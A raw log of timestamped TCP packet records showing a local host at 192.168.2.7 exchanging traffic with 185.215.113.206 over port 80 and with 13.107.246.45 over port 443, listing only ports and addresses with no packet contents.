Nov 15, 2024 09:55:17.955729961 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.955740929 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.955784082 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.955785036 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.956017971 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.956027985 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.956058025 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.956080914 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.956172943 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.956183910 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.956195116 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.956216097 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.956233978 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024202108 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024225950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024259090 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024293900 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024347067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024379969 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024390936 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024401903 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024471998 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024589062 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024589062 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024589062 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024818897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024852991 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024863005 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.024871111 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024885893 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.024900913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.025141954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.025150061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.025187969 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.072518110 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.072556019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.072566032 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.072621107 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.072637081 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.072648048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.072654963 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.072659969 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.072732925 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.072935104 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.072982073 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.073009014 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.073021889 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.073044062 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.073054075 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.073070049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.073070049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.073082924 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.073103905 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.097198963 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.097876072 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.097894907 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.098408937 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.098414898 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.140230894 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.141042948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141057014 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141093969 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141102076 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141112089 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141155958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141170025 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141235113 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141243935 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141242981 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.141271114 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.141297102 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141297102 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141377926 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141428947 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141453981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141464949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141477108 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141488075 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141514063 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.141716003 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.141720057 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.141917944 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141937971 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141947985 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.141977072 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.142009974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.145725012 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.146073103 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.146085024 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.146469116 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.146473885 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.151325941 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.151599884 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.151907921 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.151983976 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.152057886 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.152076006 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.152260065 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.152272940 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.152579069 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.152590036 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.190598965 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.190618038 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.190634966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.190650940 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.190684080 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.190751076 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.190792084 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.190813065 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.190824032 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.190835953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.190848112 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.190866947 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.191036940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.191054106 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.191065073 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.191077948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.191097021 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.225750923 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.226079941 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.226147890 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.226186991 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.226206064 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.226218939 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.226224899 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.229392052 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.229434967 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.229536057 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.229718924 CET	49743	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.229727983 CET	443	49743	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.259073019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259094954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259107113 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259212017 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.259212017 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.259268999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259279966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259289980 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259300947 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259310007 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.259339094 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.259365082 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.259639025 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259649992 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259660959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.259680033 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.259706974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.274663925 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.274830103 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.274883032 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.274962902 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.274977922 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.274986029 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.274991035 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.276663065 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.277206898 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.277277946 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.277323008 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.277323008 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.277334929 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.277344942 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.277755976 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.277786970 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.277833939 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.278193951 CET	49744	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.278204918 CET	443	49744	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.279692888 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.279730082 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.279784918 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.279925108 CET	49745	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.279930115 CET	443	49745	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.281369925 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.281565905 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.281631947 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.281666994 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.281666994 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.281683922 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.281708956 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.283407927 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.283418894 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.283472061 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.283585072 CET	49746	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.283596039 CET	443	49746	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.286547899 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.286623955 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.286674976 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.289155006 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.289184093 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.289208889 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.289222002 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.292237043 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.292251110 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.292301893 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.292500019 CET	49747	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:18.292512894 CET	443	49747	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:18.306597948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306622028 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306632042 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306670904 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.306716919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.306749105 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306767941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306778908 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306786060 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.306788921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306812048 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.306834936 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.306921959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.306956053 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.306969881 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.307003021 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.307019949 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.307030916 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.307050943 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.307059050 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.307065964 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.307086945 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.375983000 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376070023 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.376147985 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376158953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376168966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376178980 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376185894 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.376214981 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.376328945 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376338959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376348972 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376358032 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376359940 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.376368046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.376389980 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.376418114 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.423242092 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423263073 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423275948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423288107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423338890 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423352003 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423402071 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.423592091 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423625946 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.423641920 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.423659086 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423671007 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423702002 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.423719883 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.423741102 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423753023 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.423779964 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.423795938 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.424272060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.424300909 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.424312115 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.424437046 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.492090940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492141008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492155075 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492208958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.492208958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.492269039 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492281914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492312908 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.492336988 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.492400885 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492439985 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492446899 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.492450953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.492480993 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.492501974 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540046930 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540064096 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540076971 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540122986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540165901 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540179014 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540190935 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540203094 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540213108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540235043 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540249109 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540647984 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540657997 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540693998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540769100 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540802002 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540810108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540813923 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540838957 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540855885 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540880919 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540893078 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.540920973 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.540931940 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.541431904 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.541452885 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.541465044 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.541475058 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.541486025 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.541508913 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.588017941 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.588036060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.588120937 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.608964920 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609046936 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609056950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609076023 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609087944 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609102011 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.609126091 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609136105 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.609169006 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.609502077 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609520912 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609533072 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.609549999 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.609575033 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665164948 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665179968 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665189981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665201902 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665211916 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665222883 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665234089 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665261984 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665288925 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665380001 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665419102 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665441990 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665453911 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665477037 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665488958 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665575981 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665587902 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665600061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665611029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665611982 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665622950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:18.665631056 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:18.665648937 CET	49712	80	192.168.2.7	185.215.113.206
